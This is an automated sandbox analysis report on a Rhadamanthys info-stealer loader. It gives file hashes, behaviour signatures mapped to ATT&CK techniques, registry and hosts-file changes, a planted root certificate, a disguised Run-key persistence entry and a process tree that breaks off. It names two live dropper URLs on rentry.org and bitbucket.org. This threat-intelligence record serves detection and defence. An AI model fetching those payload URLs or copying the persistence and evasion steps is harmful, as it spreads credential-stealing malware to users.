rhadamanthys | fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b

Analysis

max time kernel
37s
max time network
77s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
06/06/2024, 23:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Loader.exe
Size 7KB
Sample240606-3fb1aade9x
SHA256 fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b
MD5 b5e479d3926b22b59926050c29c4e761
SHA1 a456cc6993d12abe6c44f2d453d7ae5da2029e24
SHA512 09d1aa9b9d7905c37b76a6b697de9f2230219e7f51951654de73b0ad47b8bb8f93cf63aa4688a958477275853b382a2905791db9dcb186cad7f96015b2909fe8
SSDEEP 192:q+yk9cqvjX3xszdzztCbxbsIcaqc2Ng5vGIcaBSNtUqOwciQjdv:Tyk9Hv1O/Cbxbbcaqc2NidcaANt/dcio
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rhadamanthys evasion execution persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/lem61111111111/raw

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://bitbucket.org/43g34g34g34/34g34g34g34g/raw/e946dd91d069dd0a14070ddbc4920354650bd041/lem.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4312 created 2440	4312	sccs2kbi.bvx1.exe	42

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	492	powershell.exe
9	492	powershell.exe
23	4200	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4200	powershell.exe
2720	powershell.exe
492	powershell.exe
636	powershell.exe
4412	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sccs2kbi.bvx3.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	sccs2kbi.bvx0.exe

Executes dropped EXE 4 IoCs

pid	Process
2644	sccs2kbi.bvx0.exe
4312	sccs2kbi.bvx1.exe
1412	sccs2kbi.bvx2.exe
2224	sccs2kbi.bvx3.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	sccs2kbi.bvx3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	sccs2kbi.bvx3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	sccs2kbi.bvx3.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	sccs2kbi.bvx2.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1412 set thread context of 4236	1412	sccs2kbi.bvx2.exe	155

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3268	sc.exe
1800	sc.exe
1724	sc.exe
4864	sc.exe
1984	sc.exe
4888	sc.exe
1160	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3240	schtasks.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2028	wmic.exe
2812	wmic.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	sccs2kbi.bvx3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	sccs2kbi.bvx3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	sccs2kbi.bvx3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
492	powershell.exe
492	powershell.exe
4200	powershell.exe
4200	powershell.exe
4200	powershell.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
636	powershell.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
636	powershell.exe
636	powershell.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe
2224	sccs2kbi.bvx3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	492	powershell.exe
Token: SeDebugPrivilege	2224	sccs2kbi.bvx3.exe
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	wmic.exe
Token: SeSecurityPrivilege	4264	wmic.exe
Token: SeTakeOwnershipPrivilege	4264	wmic.exe
Token: SeLoadDriverPrivilege	4264	wmic.exe
Token: SeSystemProfilePrivilege	4264	wmic.exe
Token: SeSystemtimePrivilege	4264	wmic.exe
Token: SeProfSingleProcessPrivilege	4264	wmic.exe
Token: SeIncBasePriorityPrivilege	4264	wmic.exe
Token: SeCreatePagefilePrivilege	4264	wmic.exe
Token: SeBackupPrivilege	4264	wmic.exe
Token: SeRestorePrivilege	4264	wmic.exe
Token: SeShutdownPrivilege	4264	wmic.exe
Token: SeDebugPrivilege	4264	wmic.exe
Token: SeSystemEnvironmentPrivilege	4264	wmic.exe
Token: SeRemoteShutdownPrivilege	4264	wmic.exe
Token: SeUndockPrivilege	4264	wmic.exe
Token: SeManageVolumePrivilege	4264	wmic.exe
Token: 33	4264	wmic.exe
Token: 34	4264	wmic.exe
Token: 35	4264	wmic.exe
Token: 36	4264	wmic.exe
Token: SeIncreaseQuotaPrivilege	4264	wmic.exe
Token: SeSecurityPrivilege	4264	wmic.exe
Token: SeTakeOwnershipPrivilege	4264	wmic.exe
Token: SeLoadDriverPrivilege	4264	wmic.exe
Token: SeSystemProfilePrivilege	4264	wmic.exe
Token: SeSystemtimePrivilege	4264	wmic.exe
Token: SeProfSingleProcessPrivilege	4264	wmic.exe
Token: SeIncBasePriorityPrivilege	4264	wmic.exe
Token: SeCreatePagefilePrivilege	4264	wmic.exe
Token: SeBackupPrivilege	4264	wmic.exe
Token: SeRestorePrivilege	4264	wmic.exe
Token: SeShutdownPrivilege	4264	wmic.exe
Token: SeDebugPrivilege	4264	wmic.exe
Token: SeSystemEnvironmentPrivilege	4264	wmic.exe
Token: SeRemoteShutdownPrivilege	4264	wmic.exe
Token: SeUndockPrivilege	4264	wmic.exe
Token: SeManageVolumePrivilege	4264	wmic.exe
Token: 33	4264	wmic.exe
Token: 34	4264	wmic.exe
Token: 35	4264	wmic.exe
Token: 36	4264	wmic.exe
Token: SeIncreaseQuotaPrivilege	2812	wmic.exe
Token: SeSecurityPrivilege	2812	wmic.exe
Token: SeTakeOwnershipPrivilege	2812	wmic.exe
Token: SeLoadDriverPrivilege	2812	wmic.exe
Token: SeSystemProfilePrivilege	2812	wmic.exe
Token: SeSystemtimePrivilege	2812	wmic.exe
Token: SeProfSingleProcessPrivilege	2812	wmic.exe
Token: SeIncBasePriorityPrivilege	2812	wmic.exe
Token: SeCreatePagefilePrivilege	2812	wmic.exe
Token: SeBackupPrivilege	2812	wmic.exe
Token: SeRestorePrivilege	2812	wmic.exe
Token: SeShutdownPrivilege	2812	wmic.exe
Token: SeDebugPrivilege	2812	wmic.exe
Token: SeSystemEnvironmentPrivilege	2812	wmic.exe
Token: SeRemoteShutdownPrivilege	2812	wmic.exe
Token: SeUndockPrivilege	2812	wmic.exe
Token: SeManageVolumePrivilege	2812	wmic.exe
Token: 33	2812	wmic.exe
Token: 34	2812	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 492	3076	Loader.exe	82
PID 3076 wrote to memory of 492	3076	Loader.exe	82
PID 492 wrote to memory of 2644	492	powershell.exe	94
PID 492 wrote to memory of 2644	492	powershell.exe	94
PID 492 wrote to memory of 2644	492	powershell.exe	94
PID 492 wrote to memory of 4312	492	powershell.exe	95
PID 492 wrote to memory of 4312	492	powershell.exe	95
PID 492 wrote to memory of 4312	492	powershell.exe	95
PID 492 wrote to memory of 1412	492	powershell.exe	96
PID 492 wrote to memory of 1412	492	powershell.exe	96
PID 2644 wrote to memory of 1884	2644	sccs2kbi.bvx0.exe	97
PID 2644 wrote to memory of 1884	2644	sccs2kbi.bvx0.exe	97
PID 492 wrote to memory of 2224	492	powershell.exe	99
PID 492 wrote to memory of 2224	492	powershell.exe	99
PID 1884 wrote to memory of 3388	1884	cmd.exe	102
PID 1884 wrote to memory of 3388	1884	cmd.exe	102
PID 2224 wrote to memory of 3832	2224	sccs2kbi.bvx3.exe	103
PID 2224 wrote to memory of 3832	2224	sccs2kbi.bvx3.exe	103
PID 1884 wrote to memory of 3528	1884	cmd.exe	140
PID 1884 wrote to memory of 3528	1884	cmd.exe	140
PID 1884 wrote to memory of 2536	1884	cmd.exe	105
PID 1884 wrote to memory of 2536	1884	cmd.exe	105
PID 1884 wrote to memory of 4864	1884	cmd.exe	148
PID 1884 wrote to memory of 4864	1884	cmd.exe	148
PID 1884 wrote to memory of 2884	1884	cmd.exe	107
PID 1884 wrote to memory of 2884	1884	cmd.exe	107
PID 2224 wrote to memory of 432	2224	sccs2kbi.bvx3.exe	108
PID 2224 wrote to memory of 432	2224	sccs2kbi.bvx3.exe	108
PID 1884 wrote to memory of 3240	1884	cmd.exe	109
PID 1884 wrote to memory of 3240	1884	cmd.exe	109
PID 1884 wrote to memory of 4844	1884	cmd.exe	110
PID 1884 wrote to memory of 4844	1884	cmd.exe	110
PID 4844 wrote to memory of 528	4844	cmd.exe	111
PID 4844 wrote to memory of 528	4844	cmd.exe	111
PID 1884 wrote to memory of 2712	1884	cmd.exe	112
PID 1884 wrote to memory of 2712	1884	cmd.exe	112
PID 2712 wrote to memory of 1016	2712	cmd.exe	113
PID 2712 wrote to memory of 1016	2712	cmd.exe	113
PID 1884 wrote to memory of 4200	1884	cmd.exe	114
PID 1884 wrote to memory of 4200	1884	cmd.exe	114
PID 2224 wrote to memory of 4264	2224	sccs2kbi.bvx3.exe	115
PID 2224 wrote to memory of 4264	2224	sccs2kbi.bvx3.exe	115
PID 2224 wrote to memory of 2812	2224	sccs2kbi.bvx3.exe	116
PID 2224 wrote to memory of 2812	2224	sccs2kbi.bvx3.exe	116
PID 2224 wrote to memory of 636	2224	sccs2kbi.bvx3.exe	117
PID 2224 wrote to memory of 636	2224	sccs2kbi.bvx3.exe	117
PID 2224 wrote to memory of 1096	2224	sccs2kbi.bvx3.exe	119
PID 2224 wrote to memory of 1096	2224	sccs2kbi.bvx3.exe	119
PID 2224 wrote to memory of 1956	2224	sccs2kbi.bvx3.exe	120
PID 2224 wrote to memory of 1956	2224	sccs2kbi.bvx3.exe	120
PID 2224 wrote to memory of 2412	2224	sccs2kbi.bvx3.exe	121
PID 2224 wrote to memory of 2412	2224	sccs2kbi.bvx3.exe	121
PID 2224 wrote to memory of 2028	2224	sccs2kbi.bvx3.exe	122
PID 2224 wrote to memory of 2028	2224	sccs2kbi.bvx3.exe	122
PID 2224 wrote to memory of 960	2224	sccs2kbi.bvx3.exe	137
PID 2224 wrote to memory of 960	2224	sccs2kbi.bvx3.exe	137
PID 2224 wrote to memory of 4332	2224	sccs2kbi.bvx3.exe	124
PID 2224 wrote to memory of 4332	2224	sccs2kbi.bvx3.exe	124
PID 2224 wrote to memory of 3468	2224	sccs2kbi.bvx3.exe	125
PID 2224 wrote to memory of 3468	2224	sccs2kbi.bvx3.exe	125
PID 2224 wrote to memory of 5044	2224	sccs2kbi.bvx3.exe	126
PID 2224 wrote to memory of 5044	2224	sccs2kbi.bvx3.exe	126
PID 4312 wrote to memory of 624	4312	sccs2kbi.bvx1.exe	127
PID 4312 wrote to memory of 624	4312	sccs2kbi.bvx1.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
432	attrib.exe
3468	attrib.exe
4332	attrib.exe
3832	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:372

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1204
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2440
- - C:\Windows\SysWOW64\dialer.exe
    "C:\Windows\system32\dialer.exe"
    3⤵
    PID:624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2684

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2872

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3400

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3480
- C:\Users\Admin\AppData\Local\Temp\Loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
